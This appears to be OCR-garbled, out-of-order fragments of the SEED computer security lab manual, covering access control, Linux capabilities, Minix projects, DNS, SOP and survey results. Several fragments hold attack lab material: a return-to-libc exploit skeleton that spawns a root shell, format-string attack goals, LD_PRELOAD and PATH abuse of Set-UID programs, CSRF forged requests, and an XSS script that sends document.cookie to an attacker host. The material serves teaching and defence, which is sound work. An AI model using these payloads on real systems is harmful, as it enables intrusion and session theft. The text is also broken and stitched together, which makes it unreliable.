168. nce of Relations The main relations of Core RBAC are a user to role assignment relationship UA and b permission to role assignment relation PA Please be noted that both UA and PA relations can be modified during the run time but the change of UA and PA relations will not affect existing sessions it only affects new sessions Update PA Relationships A privileged user should be able to add permissions to or delete permissions from a role Such a modification should be persistent namely the relationships will be retained even after the system is shut down Update UA Relationships A privileged user should be able to add users to or delete users from a role Similar to the PA relationships the modification should be persistent Delegating Revoking Roles Delegation Revo A normal user with the capability CAP_ROLI cation is another way to update UA relationships E Delegate should be able to delegate his her own roles to other users and also be able to revoke the delegated roles When a role is delegated to a user a new user to role instance will be created new sessions of the user will be affected by this new UA instance However this user to role instance is volatile namely it will be lost if the system is shut down The user who delegates his her roles can later revoke those roles Once a delegated role is revoked by the user the effect should be seen immediately namely all the involved sessions current
169. nd fsetxattr Please refer to cap_get_file and cap_set_file incap_file cin libcap for details on how to use it 2 5 Checking Capability The capabilities of a process are checked almost everywhere when an access attempt is made Some of them can still grant permission even if ACL check fails For example in fs namei c 137 SEED Document 4 int generic_permission check_capabilities x x Read write DACs are always overridable x Executable DACs are overridable if at least one exec bit is set x if mask amp MAY_EXEC inode gt i_mode amp S_IXUGO S_ISDIR inode gt i_mode if capable CAP_DAC_OVERRIDE return 0 The function capable CAP_DAC_OVERRIDE checks whether the current process has CAP_DAC_OVERRIDE as an effective capability The capable function is linked to SELinux module function which is again linked to cap_capable in the capability module as a seccondary module in security commoncap c int cap_capable struct task_struct tsk int cap x Derived from include linux sched h capable if cap_raised tsk gt cap_effective cap return 0 return EPERM References 1 Taking Advantage of Linux Capabilities Available at http www linuxjournal com article 5737 2 sy Linux kernel capabilities FAQ Available at http ftp kernel org pub linux libs security linux privs kernel 2 4 capfaq 0 2 txt 3 k Linux Capab
170. nd that there will be processes especially those created during the bootup that are not capability enabled The addition of capability mechanism will cause them not to work properly because they do not carry any capability at all You need to find a solution to make your capability system compatible with those processes Helpful Documents We have linked several helpful documents to the lab web page Make sure you read them because they can save you a tremendous amount of time These documents cover the following topics 1 how to add new system calls 2 how are system calls invoked 3 process tables in the file system process and the memory management process Important Reminder Please remember to backup a valid boot image before you make modifications you might crash your systems quite often 86 Laboratory for Computer Security Education 7 4 Submission and Demonstration You should submit a detailed lab report to describe your design and implementation You should also de scribe how you test the functionalities and security of your system You also need to demonstrate your system to us Please sign up a demonstration time slot with the TA Please take the following into consider ation when you prepare for demonstraiton e The total time of the demo will be 15 minutes no more additional time would be given So prepare your demonstration so you can cover the important features e You are entirely responsible for showing th
171. ndomization su root 21 Laboratory for Computer Security Education 6 Password enter root password sbin sysctl w kernel randomize_va_space 2 Compile the vulnerable program retlib c as shown below su root Password enter root password gcc o retlib retlib c chmod 4755 retlib exit HE 3 Guidelines Understanding the function call mechanism 3 1 Find out the addresses of libc functions To find out the address of any libc function you can use the following gdb commands a out is an arbitrary program gdb a out gdb b main gdb r gdb p system 1 lt text variable no debug info gt 0x9b4550 lt system gt gdb p exit 2 lt text variable no debug info gt 0x9a9b70 lt exit gt From the above gdb commands we can find out that the address for the system function is 0x9b4550 and the address for the exit function is 0x9a9b70 The actual addresses in your sys tem might be different from these numbers 3 2 Putting the shell string in the memory One of the challenge in this lab is to put the string bin sh into the memory and get its address This can be achieved using environment variables When a C program is executed it inherits all the environment variables from the shell that executes it The environment variable SHELL points directly to bin bash and is needed by other programs so we introduce a new shell variable MYSHELL and make it point to zsh
172. ned from the posts on the front page You can access the phpBB server using the following URL the apache server needs to be started first http www xsslabphpbb com 51 Laboratory for Computer Security Education 2 Configuring DNS This URL is only accessible from inside of the virtual machine because we have modified the etc hosts file to map the domain name www xsslabphpbb com to the virtual ma chine s local IP address 127 0 0 1 You may map any domain name to a particular IP address using the etc hosts For example you can map http www example com to the local IP address by appending the following entry to etc hosts file 127 0 0 1 www example com Therefore if your web server and browser are running on two different machines you need to modify the etc hosts file on the browser s machine accordingly to map www xsslabphpbb com to the web server s IP address Configuring Apache Server In the pre built VM image we use Apache server to host all the web sites used in the lab The name based virtual hosting feature in Apache could be used to host several web sites or URLs on the same machine A configuration file named default in the directory etc apache2 sites available contains the necessary directives for the configuration 1 The directive NameVirtualHost gt instructs the web server to use all IP addresses in the ma chine some machines may have multiple IP addresses 2 Each web si
173. nses to the source Packet filters are usually stateless they filter each packet based only on the information contained in that packet without paying attention to whether a packet is part of an existing stream of traffic Packet filters often use a combination of the packet s source and destination address its protocol and for TCP and UDP traffic the port number 2 Lab Tasks In this lab students need to implement a packet filter for Minix We will call it minifirewall This firewall consists of two components policy configuration and packet filtering 2 1 Firewall Policies The policy configuration module is intended for allowing system administrators to set up the firewall poli cies There are many types of policies that can be supported by personal filewalls starting from very simple to fairly complex For our lab we will consider the following policies e Block or unblock incoming and outgoing packets This policy blocks incoming or outgoing con nections based on some criteria such as 1 Protocol It specifies which protocol a policy applies to The protocol can be TCP UDP ICMP or ALL For ease of implementation protocols can also be represented by numbers 2 Source and Destination address Match packets with source and destination addresses The source address is for incoming packets and the destination address is for outgoing packets They can also be hostnames As used by many packet filters address netmask combinat
174. nt under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Description The learning objective of this lab is for students to gain first hand experiences on capability to appreciate the advantage of capabilities in access control to master how to use capability in to achieve the principle of least privileges and to analyze the design of the capability based access control in Linux This lab is based on POSIX 1 e capability which is implemented in recent versions of Linux kernel 2 Lab Setup The lab was developed based on Ubuntu 9 which uses Linux kernel version 2 6 28 Some of the features involved in this lab are not available before the kernel version 2 6 24 2 1 Install Libcap There are several ways for user level programs to interact with the capability features in Linux the most convenient way is to use the libcap library which is now the standard library for the capability related programming This library does not come with some Linux distributions so you need to download and install it If you already have the file usr include sys capability h then the libcap library has already been installed If the header file is not there install the library using the following commands apt get install wget use yum install wget for Fedora cd dir_name assume you
175. ntents for badfile such that when the vulnerable program copies the contents into its buffer a root shell can be spawned Laboratory for Computer Security Education 4 2 3 Task 1 Exploiting the Vulnerability Create the badfile You may use the following framework to create one exploit_l c include lt stdlib h gt include lt stdio h gt include lt string h gt int main int argc char xargv char buf 40 FILE xbadfile badfile fopen badfile w You need to decide the addresses and the values for X Y Z The order of the following three statements does not imply the order of X Y Z Actually we intentionally scrambled the order x long amp buf X some address bin sh long amp buf Y some address system long amp buf Z some address I7 exit fwrite buf sizeof buf 1 badfile fclose badfile You need to figure out the values for those addresses as well as to find out where to store those addresses If you incorrectly calculate the locations your attack might not work After you finish the above program compile and run it this will generate the contents for badfile Run the vulnerable program ret 1ib If your exploit is implemented correctly when the function bof returns it will return to the system libc function and execute system bin sh Ifthe vulnerable program is running with th
176. nux module Capability module is implemneted in security commoncap c Since this module is always considered to be stacked on other modules the hook functions in the module only do capability related works which do not cover all function points in struct security_operations please refer to details on LSM mechanism Here bprm_set_security points to cap_bprm_set_security in security commoncap c int cap_bprm_set_security struct linux_binprm xbprm get_file_caps bprm if issecure SECURE_NOROOT if bprm gt e_uid current gt uid 0 cap_set_full bprm gt cap_inheritable cap_set_full bprm gt cap_permitted if bprm gt e_uid 0 bprm gt cap_effective true The function get_file_caps bprm first fetches the capability from the inode to struct linux_binprm Then turn on all the capabilities if current user is root and SECURE_NOROOT is not set SECURE _NOROOT is a security mode SECURE_NO_SETUID_FIXUP is another one when it is not set then when a process switches its real or effective uids to or from 0 capability sets are further shifted around 2 6 26 has more of them We won t talk furture on this here check include linux securebits h for the detailed definition 2 4 Manipulating File Capability Linux does not provide specific system call to manipulate file capability But since it is implemented as inode attribute we can use system call getxattr a
177. o we need to udpate the VM image we have to make sure that all our labs are consistent with the newly built VM Therefore we only plan to update our VM image once every two years and of course update all our labs once the VM is changed If you are using our SEED labs and want to get a copy of our most recent VM image please send us an email wedu syr edu We can either send you a DVD or let you download the image from us 2 VM Configurations 2 1 Configuration of the VM The main configuration of this VM is summarized in the following If you are using VMware Workstation you can adjust the configuration according to the resources of your host machine e g you can assign more memory to this VM if your host machine has enough memory e Operating system Ubuntu 9 04 with the Linux kernel v2 6 28 e Memory 256M RAM e Disk space Maximum 8G disk space We have created two accounts in the VM The usernames and passwords are listed in the following 1 UserID root Password seedubuntu Note Ubuntu does not allow root to login directly from the login window You have to login as a normal user and then use the command su to login to the root account 2 UserID seed Password dees 2 2 Network setup Currently the Network connection is set to NAT i e your VM is put in a private network which uses your host machine as the router The VMs in such a setting can connect to the Internet via the NAT mechanism and they
178. ocess can enable a capability that is temporarily disabled A deleted capability cannot be enabled Without capabilities a privileged Set UID program can also delete disable enable its own privileged This is done via the setuid and seteuid system calls namely a process can change its effective user id during the run time The granularity is quite coarse using these system calls because you can either be the privileged users e g root or a non privileged users With capabilities the privileges can be adjusted in a much finer fashion because each capability can be independently adjusted To support dynamic capability adjustment Linux uses a mechanism similar to the Set UID mech anism i e a process carries three capability sets permitted P inheritable I and effective E The permitted set consists of the capabilities that the process is permitted to use however this set of capabilities might not be active The effective set consists of those capabilities that the process can currently use this is like the effective user uid in the Set UID mechanism The effective set must always be a subset of the permitted set The process can change the contents of the effective set at any time as long as the effective set does not exceed the permitted set The inheritable set is used only for calculating the new capability sets after exec i e which capabilities can be inherited by the children processes When a process forks the child
179. ol you have to run it with the root privilege netwox number parameters If you are not sure how to set the parameters you can look at the manual by issuing netwox number help You can also learn the parameter settings by running Net wag for each command you execute from the graphic interface Net wag actually invokes a corresponding Net wox command and it displays the parameter settings Therefore you can simply copy and paste the displayed command Wireshark Tool You also need a good network traffic sniffer tool for this lab Although Netwox comes with a sniffer you will find that another tool called Wireshark is a much better sniffer tool Both Netwox and Wireshark can be downloaded If you are using our pre built virtual machine both tools are already installed To sniff all the network traffic both tools need to be run by the root Enabling the ftp and telnet Servers For this lab you may need to enable the ftp and telnet servers For the sake of security these services are usually disabled by default To enable them in our pre built Ubuntu virtual machine you need to run the following commands as the root user Start the ftp server service vsftpd start Start the telnet server service openbsd inetd start 2 2 Note for Instructors For this lab a lab session is desirable especially if students are not familiar with the tools and the env iornments If an instructor plans to hold a lab session
180. ole is added to a user is via delegation You need to make sure that any delegation that violates the SSD policies will fail e DSD policies need to be checked every time a role become active There is only one place where a role can become active That is when the function EnableRole is called Note that the previ ous statement is true because all roles are in a disabled state initially including those roles that are delegated from other users 2 3 Task 3 Supporting the Set UID Mechanism 20 points Sometimes to conduct an operation a user might need additional privileges To enable this operation we can assign the required privileges to the user however once the privileges are assigned to the user it is difficult to prevent the user from abusing the privileges i e using the privileges on other undesirable operations A solution to the dilemma is to use the Set UID mechanism which is implemented in most of the Unix operating system With this mechanism we can mark certain programs as Set UID programs Whoever runs a Set UID program will run the program with the program owner s privileges Therefore users gain the required privileges only temporarily and only within the scope of the program In the particular Unix implementation whoever runs a Set UID program will run the program using the program owner s id as its effective user id this way the user can gain the program owner s privileges because access control is mostly bas
181. ome to the demonstration If the system crashes or anything goes wrong it is your own fault We will not debug your problems nor give you extra time for it e During the demo you should consider yourself as salesmen and you want to sell your system to us You are given 15 minutes to show us how good your system is So think about your sales strategies If you have implemented a great system but fail to show us how good it is you are not likely to get a good grade e Do turn off the messages your system prints out for debugging purposes Those messages should not appear in a demonstration 122 Laboratory for Computer Security Education 1 SYN Cookies Exploration Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Description The learning objective of this lab is for students to explore the mechanism of SYN cookies in Linux system SYN flooding is a type of Denial of Service DoS attack When a SYN packet is received by a server the server allocates som
182. omputer Security Education 1 Address Space Layout Randomization Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview Address space layout randomization ASLR is a computer security technique which involves randomly arranging the positions of key data areas in a process s address space These key data areas usually includes the base of the executable and position of libraries heap and stack etc Although ASLR does not eliminate vulnerabilities it can make the exploit of some vulnerabilities much harder For instance a common buffer overflow attack involves loading the shellcode on the stack and overwriting the return address with the starting address of the shellcode In most cases attackers have no control over the starting address of the shellcode they have to guess the address The probability of a success guess can be significantly reduced if the memory is randomized Students need to implement ASLR for Minix 3 2 Memory Layout in Minix3 The PM
183. on when you prepare for demonstraiton The total time of the demo will be 15 minutes no more additional time would be given So prepare your demonstration so you can cover the important features You are entirely responsible for showing the demo We will NOT even touch the keyboard during the demonstration so you should not depend on us to test your system If you fail to demo some important features of your system we will assume that your system does not have those features You need to practice before you come to the demonstration If the system crashes or anything goes wrong it is your own fault We will not debug your problems nor give you extra time for it During the demo you should consider yourself as salesmen and you want to sell your system to us You are given 15 minutes to show us how good your system is So think about your sales strategies If you have implemented a great system but fail to show us how good it is you are not likely to get a good grade Do turn off the messages your system prints out for debugging purposes Those messages should not appear in a demonstration References 1 2 3 Karthick Jayaman How to manipulate the Inode data structure Available from our web page Sridhar Iyer Defining a new file system in Minix 3 Available from our web page A S Tanenbaum and A S Woodhull Operating Systems Design and Implementation Prentice Hall 3rd edition 2006 99 100 Laboratory for C
184. on the lab was worthwhile A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 45 9 10 8 fA 5 4 37 8 Q4 Level of difficulty of this lab A Very easy B Somewhat easy C Average D Somewhat difficult E Very difficult 37 8 wW 2 7 51 4 Q9 The lab was a valuable part of this course A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 37 wy os oe Ce oe oe Fetal oF students 37 Q1 Level of familiarity with Unix ANo Experience B Know some commands C Application level development experience D Kernel level development experience E None 50 0 5 0 18 3 26 7 05 Level of interest in the lab Avery low B Low C Average D High E Very high Q10 As a result of the lab I am more interested in computer security A Strongly disagree B Disagree C Neutral D Agree E Strongly agree Survey Results Cross Site Scripting XSS Attack Lab Q2 My preparation was sufficient A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 55 0 Q6 Approximate hours spent on this lab A 0 5 hours B 6 10 hours C 11 20 hours D 21 30 hours E gt 30 hours 45 6 28 1 Q11 Overall I have attained the learning objectives of the lab A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 59 6 Q3 The lab instructions were clear A Strongly disagree B Disagree C Neutral O Agree E Strongly agree O 28 3 11 7 3 3
185. or Computer Security Education 2 TZ Oa O oA www soplab com 127 0 0 1 www soplabattacker com 127 0 0 1 www originalphpbb com If your web server and browser are running on two different machines you need to modify the etc hosts file on the browser s machine accordingly to map these URLs to the web server s IP address Configuring Apache Server In the pre built VM image we use Apache server to host all the web sites used in the lab The name based virtual hosting feature in Apache could be used to host several web sites or URLs on the same machine A configuration file named default in the directory etc apache2 sites available contains the necessary directives for the configuration 1 The directive NameVirtualHost x instructs the web server to use all IP addresses in the ma chine some machines may have multiple IP addresses 2 Each web site has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site For example to configure a web site with URL http www examplel com with sources in directory var www Example_1 and to configure a web site with URL http www example2 com with sources in directory var www Example_2 we use the following blocks lt VirtualHost gt ServerName http www examplel com DocumentRoot var www Example_1 lt VirtualHost gt lt VirtualHost gt ServerName http
186. or Net wox as the root user 2 4 Expected Output After you have set up the lab environment according to the above steps your DNS server is ready to go Now on the user machine issue the following command o dig www example com You should be able to see something like this lt lt gt gt DiG 9 5 0b2 lt lt gt gt www example com 7 global options printcmd 7 Got answer 77 gt gt HEADER lt lt opcode QUERY status NOERROR id 27136 flags gr aa rd ra QUERY 1 ANSWER 1 AUTHORITY 1 ADDITIONAL 1 7 QUESTION SECTION www example com IN A 7 ANSWER SECTION www example com 259200 IN A 192 168 0 101 7 AUTHORITY SECTION example com 259200 IN NS ns example com 7 ADDITIONAL SECTION ns example com 259200 IN A 192 168 0 10 7 Query time 80 msec 7 SERVER 192 168 0 10 53 192 168 0 10 72 Laboratory for Computer Security Education 5 WHEN Tue Nov 11 15 26 32 2008 7 MSG SIZE rcvd 82 Note the ANSWER SECTION contains the DNS mapping You can notice that the IP address of www example comis now 192 169 0 101 which is what we have set up in the DNS server For a simple and clear answer we can use nslookup instead To do a DNS reverse lookup issue dig x N N N N 2 5 Install Wireshark Wireshark is a very important tool for this lab you can sniff every package that is going through the LAN You can get Wireshark from http www wireshark org Although
187. or it e During the demo you should consider yourself as salesmen and you want to sell your system to us You are given 15 minutes to show us how good your system is So think about your sales strategies If you have implemented a great system but fail to show us how good it is you are not likely to get a good grade e Do turn off the messages your system prints out for debugging purposes Those messages should not appear in a demonstration 7 Grading Criteria The grading criteria are described in the following To gain those points you need to demonstrate the corresponding features 1 Crypto library 10 points 113 Laboratory for Computer Security Education 8 2 IPSec configuration 20 points e User level utilities to allow administrator to configure IPSec tunnels such as add delete tunnels set update keys set update security parameters etc e Utilities for administrators to list IPSec configuration 3 IP and ICMP Protocols 15 points e IP fragmentation should still work You need to demonstrate how to test this e ICMP based applications such as ping should still work 4 TCP and UDP Protocols 25 points it should be noted that you are not supposed to modify the TCP and UDP parts and your IPSec should not affect the these parts e TCP based applications such as telnet and ftp should still work e Updating keys used in a IPSec tunnel should not break the existing TCP connections You can update the key on one
188. oratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview The objective of this lab is to help students understand cross site request forgery CSRF or XSRF attacks A CSRF attack involves a victim user a trusted site and a malicious site The victim user holds an active session with a trusted site and simultaneously visits a malicious site The malicious site injects a HTTP request for the trusted site into the victim user session compromising its integrity In this lab you will be attacking a web based message board system using CSRF attacks We modi fied an open source message board application called phpBB to make it vulnerable to CSRF attacks The original application has implemented several countermeasures for avoiding CSRF attacks 2 Lab Environment In this lab we will need three things 1 the Firefox web browser 2 the apache web server and 3 the phpBB message board web application For the browser we need to use the LiveHTTPHeaders exten sion for Firefox to inspect the HTTP requests and responses The pre built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions
189. ord yum install zsh e For Ubuntu su Password enter root password apt get install zsh 35 Laboratory for Computer Security Education 2 b Instead of copying bin zsh this time copy bin bash to tmp make it a set root uid program Run tmp bash as a normal user will you get root privilege Please describe and explain your observation 3 Setup for the rest of the tasks As you can find out from the previous task bin bash has certain built in protection that prevent the abuse of the Set UID mechanism To see the life before such a protection scheme was implemented we are going to use a different shell program called bin zsh In some Linux distributions such as Fedora and Ubuntu bin sh is actually a symbolic link to bin bash To use zsh we need to link bin sh to bin zsh The following instructions describe how to change the default shell to zsh su Password enter root password cd bin rm sh ln s zsh sh HE 4 15 points The PATH environment variable The system const char cmd library function can be used to execute a command within a program The way system cmd works is to invoke the bin sh program and then let the shell program to execute cmd Because of the shell program invoked calling system within a Set UID program is extremely dangerous This is because the actual behavior of the shell program can be affected by environment variables such as PATH these environment variables are
190. orks I Understanding how networking works in Minix is essential for this project Several helpful documentations are available In particular we highly recommend the documentation at http www os forum com minix net which provides a line by line analysis of Philip Homburg s network service for Minix version 2 0 4 the version that we use in this lab Our past students found the documentation very useful Please focus on three files buf c ip read c and ip_write c All outgoing IP packets are processed in ip_write c and all incoming IP packets sent to up layers TCP UDP are processed in ip_read c You need to use functions defined in buf c and add IPSec functions in ip_read c and ip_writes c 4 How Minix Networking Works II We have developed a document to further help you understand how the Minix networking works The document can be found at the lab web site It guides you through several source code to show you a big picture on how a packet is forwarded from appli cation to ICMP TCP UDP to IP and then to Ethernet It also describes how add_route c and pr_routes c works These last two files in usr src commands simpl le can serve as a good example on how to store and maintain routing information in the kernel If your need to do the similar thing i e storing information in the kernel you can use the system calls in inet such as ioct1 in ip_ioct1 c which need to be changed to add more functionalities The files pr_routes c and
191. other file system is mounted on MF S b Load the super block of dev c0d1 onto the super block table The system maintains a table of the superblocks of all the file systems that have been recently mounted even if they are unmounted c Change the value of inode mounted upon field of super block entry of dev cOd1 in the super block table to point to MFS When you try to access the a file on the newly mounted file system say cat MFS file The following steps takes place a The system first looks up MF S inode in the root directory 95 Laboratory for Computer Security Education 4 b It finds the mounted on flag set It then searches the super block table for superblocks with inode mounted upon pointing to the inode of MF S c It then jumps to the root of this mounted file system The inode for the root of mounted fs field of the super block points to the root inode of the mounted file system d It then looks for the file inode on this file system If you have come this far then your basic setup is done All modification will be implemented on this new hard disk 4 Design and Implementation issues 4 1 Store extra information in i node There are two different ways to use i node to store extra information for EFS e Without modifying i node The disk inode for the version 2 and 3 of Minix file system is represented by the following structure typedef struct x V2 x disk inode lt
192. ourses Table 2 1 System focused Courses This type of course focuses on security principles and techniques in building software system Network also considered as a system might be part of the course but not as the focus The focus is mainly on software system in general Operating systems programs and web applications are usually used as the examples in the courses If an instructor wants to ask students to design and implement a real system related to system security there are several choices a If the instructor wants to let students learn how to use cryptography in a real system the Encrypted File System Lab is a good choice 2 If the instructor wants to let students gain more insights on access control mechanisms the Role Based Access Control Lab and Capability Lab are good candidates 3 If the instructor wants students to learn some of the interesting ideas in improving system security the Address Space Layout Randomization Lab and the Set RandomUID Sandbox Lab are good candidates All these labs are carried out in the Minix operating system because of the need to modify operating systems These labs can be used as the final projects 2 Networking focused Courses This type of course focuses mainly on the security principles and tech niques in networking SEED Document 4 Types Labs Bishop I Bishop II Pfleeger KPS Buffer Overflow Lab 20
193. owing program you will be asked to provide an input which will be saved in a buffer called user_input The program then prints out the buffer using printf The program is a Set UID program the owner is root i e it runs with the root privilege Unfortunately there is a format string vulnerability in the way how the print f is called on the user inputs We want to exploit this vulnerability and see how much damage we can achieve The program has two secret values stored in its memory and you are interested in these secret values However the secret values are unknown to you nor can you find them from reading the binary code for the sake of simplicity we hardcode the secrets using constants 0x44 and 0x55 Although you do not know the secret values in practice it is not so difficult to find out the memory address the range or the exact value of them they are in consecutive addresses because for many operating systems the addresses are exactly the same anytime you run the program In this lab we just assume that you have already known the exact addresses To achieve this the program intentionally prints out the addresses for you With such knowledge your goal is to achieve the followings not necessarily at the same time e Crash the program 27 Laboratory for Computer Security Education 2 e Print out the secret 1 value e Modify the secret 1 value e Modify the secret 1 value to a pre determined value Note that
194. p up message box that displays the cookies of the user 3 3 Task 3 Stealing Cookies from the Victim s Machine In the previous task the malcious JavaScript code can print out the user s cookies in this task the attacker wants the JavaScript code to send the cookies to the himself herself To achieve this the malicious JavaScript code can send send a HTTP request to the attacker with the cookies appended to the request We can do this by having the malicious JavaScript insert a lt img gt tag with src set to the URL of the attackers destination When the JavaScript inserts the img tag the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attackers website The JavaScript given below sends the cookies to the mentioned port 5555 on the attacker s machine On the particular port the attacker has a TCP server that simply prints out the request it receives The TCP server program will be given to you available on the web site of this lab 53 Laboratory for Computer Security Education 4 Hello Folks lt script gt document write lt img src http attacker_IP_address 5555 c document cookie gt lt script gt This script is to test XSS Thanks 3 4 Task 4 Impersonating the Victim using the Stolen Cookies After stealing the victim s cookies the attacker can do whatever the victim can do to the phpBB web server including
195. peciner published by Prentice Hall PTR in 2002 We refer this book as KPS Table 3 illustrates the mappings of the SEED labs and the chapters of four textbooks As new textbooks new editions and new labs become available in the future we will update the table accordingly SEED Document 1 Environment Setup for SEED Labs Highlights e There is no need for a physical lab space for any of the lab exercises e Students can work on the labs using their own computers 1 Operating Systems We use two operating systems as the base of our SEED labs one is Minix 3 and the other is Linux Minix 3 is an instructional operating system and is widely used in computer science courses such as Operating System and Networking Because of its small size modifying and rebuilding Minix operating system is a manageable task for average students in a semester long course We use this operating system for the design and implementation labs that require a signifcant amount of effort in kernel level coding several of our labs involve adding a new security mechanisms to operating systems and thus require kernel level coding Minix 3 can be downloaded from http www minix3 org Many of the SEED labs especially the vulnerability attack labs and exploration labs are based on the Linux operating system When we designed and tested our SEED labs we used Ubuntu Linux Most of the lab activities can be conducted in other distributions of Linux su
196. pend 10 hours to make the role delegation work rather than spend 30 minutes to fix such a major security flaw in your system This is not what I have taught you in my class You are not alone many software developers have the same attitudes like yours they would rather spend many many hours on some nice features so they can sell the product with a good price than spending some time ensuring that their systems are secure After all security does not make money nice features do When they are under the pressure of deadlines many developers choose features like what you guys did Just remember although security does not make money a simple flaw like what you guys made can cause millions of dollars in loss and damage of reputations I have deducted 10 points from your grade if your system is flawed This is only symbolic I should have deducted 50 points because you guys are trying to sell me a flawed system at the end of a computer SECURITY class This is such an irony What makes the thing even worse 87 Laboratory for Computer Security Education 8 is that many of you know the flaws but feel the priority of fixing the flaws is too low for you to spare 30 minutes of your time As I said in the last lecture of the course you may forget the contents of my lectures after your final exam but you should gain the sense of security and take that sense to your jobs I hope that you can learn a lesson from these 10 points If i
197. pm 1 amp popup_pm l attachsig 0 amp allowbbcode 1 allowhtm1 0 allowsmilies 1 amp language english amp style l timezone 0 dateformat d M Yth 3Ai a amp mode editprofiles amp agreed t rue amp coppa 0 user_id 2 amp current_email admin S40seed com amp submit Submit Now using the information you gathered from observing the request you can construct a web page that posts the message To help you write a JavaScript program to send a HTTP post request we provide the following sample code this code is also available from the lab website You can use this sample code provided in figure 1 to construct your malicious web site for the CSRF attacks 4 3 Task 3 Understanding phpBB s Countermeasures phpBB has implemented some countermeasures to defend against CSRF attacks To allow the attacks in Task 1 work we had to modify phpBB code to introduce the vulnerability Originally posting php only takes POST request not GET However from Task 2 we know that changing GET to POST will not prevent the CSRF attacks it simply makes the attacks a little bit more difficult PhpBB adopts another mechanism to counter the CSRF attacks It includes the following information in the body of the request 48 Laboratory for Computer Security Education lt html gt lt body gt lt h1 gt This page sends a HTTP POST request onload lt h1 gt lt script gt function post url fields create a lt fo
198. points The LD_PRELOAD environment variable To make sure Set UID programs are safe from the manipulation of the LD PRELOAD environ ment variable the runtime linker 1d so will ignore this environment variable if the program is a Set UID root program except for some conditions We will figure out what these conditions are in this task a Let us build a dynamic link library Create the following program and name it mylib c It basically overrides the sleep function in Libc 37 Laboratory for Computer Security Education 4 include lt stdio h gt void sleep int s printf I am not sleeping n b We can compile the above program using the following commands in the W1 argument the third character is one not in the 1c argment the second character is gcc fPIC g c mylib c gcc shared W1 soname libmylib so 1 o libmylib so 1 0 1 mylib o lc oA ol c Now set the LD PRELOAD environment variable export LD_PRELOAD libmylib so 1 0 1 d Finally compile the following program myprog put this program in the same directory as libmylib so 1 0 1 myprog c int main sleep 1 return 0 Please run myprog under the following conditions and observe what happens Based on your ob servations tell us when the runtime linker will ignore the LD PRELOAD environment variable and explain why e Make myprog a regular program and run it as a normal user e Make
199. port dport random sseq count Consider count to be a number that gets incremented every minute or so Do you think the above equation may still be a threat to the sytem at any given point of time If you think the third equation may still be a threat can you come up with a new equation to satisfy all the requirements of SynCookies You also need to elaborate as to how to recalculate the cookie once an ACK is received back to regard the connection to be authentic 3 Helpful Materials Here are some links that might help you discover answers for the above questions 1 Current implementation of SYN cookies in Linux system can be found in the Linux source code at net ipv4 syncookies c http cr yp to syncookies html http cr yp to syncookies archive www cs colorado edu jrblack class csci4830 f03 syncookies pdf 4 Submission You need to submit a detailed lab report to describe what you have done and what you have observed you also need to provide explanation to the observations that are interesting or surprising 125 126 Laboratory for Computer Security Education 1 Linux Capability Exploration Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this docume
200. ports 80 and 8080 Provide http www soplab com 8080 navigation html1 to the first frame and report whether you are able to read the DOM object and cookies for the web page in the second frame 5 Not only are the cookie and contents of the frame under the restriction of SOP several other objects are also restricted such as the History object and the URL of the frame Test them on www soplab com index html Task 3 SOP for XMLHttpRequest We have seen a simple example that uses the XMLHttpRequest API A slightly more complex example is contained in www soplab com navigation html Once you have familiarized yourself with the XMLHttpRequest API you can do the following 1 Write a JavaScript program to verify whether the SOP is also extended to the target URL of HTTP requests you can create using XMLHttpRequest API Report your observations in the report 2 What are the dangers of not extending the SOP to the HTTP requests created using XMLHttpRequest API For full credit you should describe some possible attacks Task 4 Exceptions from SOP There are some exceptions to SOP In this task you will explore such exceptions e Some HTML tags can also trigger a HTTP request within a web page For example the img tag ina HTML page triggers a HTTP GET request The question is whether SOP is applied here to restrict the targets of the HTTP request Please investigate the following HTML tags frame iframe img and a Verify your hypothe
201. posting a new message in the victim s name delete the victim s post etc In this task we will write a program to forge a message post on behalf of the victim To forge a message post we should first analyze how phpBB works in terms of posting messages More specifically our goal is to figure out what are sent to the server when a user posts a message Firefox s LiveHTTPHeaders extension can help us it can display the contents of any HTTP request message sent from the browser From the contents we can identify all the the parameters of the message A screen shot of LiveHTTPHeaders is given in Figurel The LiveHTTPHeaders extension can be downloaded from http livehttpheaders mozdev org and it is already installed in the pre built Uountu VM image Once we have understood what the HTTP request for message posting looks like we can write a Java program to send out the same HTTP request The phpBB server cannot distinguish whether the request is sent out by the user s browser or by the attacker s Java program As long as we set all the parameters correctly the server will accept and process the message posting HTTP request To simplify your task we provide you with a sample java program that does the following 1 Opens a connection to web server 2 Sets the necessary HTTP header information 3 Sends the request to web server 4 Gets the response from web server import java io import java net publi
